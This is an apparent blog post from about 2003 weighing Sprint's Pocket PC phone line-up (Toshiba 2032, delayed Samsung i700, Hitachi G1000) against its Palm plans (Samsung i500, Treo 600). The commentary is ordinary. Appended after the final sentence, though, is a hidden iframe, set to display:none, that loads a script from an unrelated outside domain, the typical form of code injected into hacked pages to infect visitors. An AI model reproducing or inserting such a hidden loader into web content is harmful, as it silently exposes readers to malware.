<img src="images/avatars/gallery/2-carriers/sprintlogo-1.gif" align="right">Sprint was one of the first US carriers to bring us a pdaPhone based on the Pocket PC platform, back when they made the Toshiba 2032 available (Verizon had actually released it several months earlier as the Audiovox Thera). Since that time, they seem to be making some moves that leave you wondering what's going on.
First of all, the Toshiba 2032 was released just before Microsoft's Pocket PC Phone Edition was available. That left Sprint at a competitive disadvantage in the market for pdaPhones, based on the Pocket PC platform. HTC delivered a Pocket PC Phone Edition device through T-Mobile and AT&T in the US right on the heals of the Toshiba 2032. While the better data speeds of CDMA allowed Sprint to compete, the lack of a Phone Edition device seemed to mute their overall sales when compared to T-Mobile and AT&T.
This past spring, it looked like Sprint was all set to make a big Pocket PC Phone Edition splash this summer and bring their device count up by two - the Samsung i700 and Hitachi G1000. Just as Verizon was ramping up their launch of the i700, Sprint announced that they were going to delay shipping the device until the fall when they could have Windows Mobile 2003 included. This would appear to have been a bad move, as Verizon is seeing a positive reception to the i700, even with the Pocket PC 2002 platform in place. Further, the 2003 software upgrade does not appear to be a big deal to perform (it is reported to be running on the one year old HTC made Phone Edition in beta mode already).
To make matters worse, the early reviews on the G1000 have not been stellar. Most reviewers believe the device is too big for a phone. And, the choice to ship it with 32M of RAM and no SDIO support just doesn't make good market since for a $600 device in mid-2003. Now we are hearing reports that the G1000 will not be able to upgrade to 2003 (see eWeek article
HERE). While I am hesitant to predict the market success (or lack there of) for a device before its even shipped, it surely doesn't look like Sprint's pdaPhone plan for 2003 is going well.
On the Palm front, things seem to be looking better. Sprint is the only US carrier having announced plans for the new Samsung SPH-i500 Palm base clamshell phone. While differing on many feature points, this should provide a competitive offering to Verizon's Kyocera 7135. In addition, Sprint is the first carrier to have announced plans for delivering the exciting new Handspring Treo 600 in the fall.
Let's hope they hear the users and start making some corrective moves to get back in the game.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
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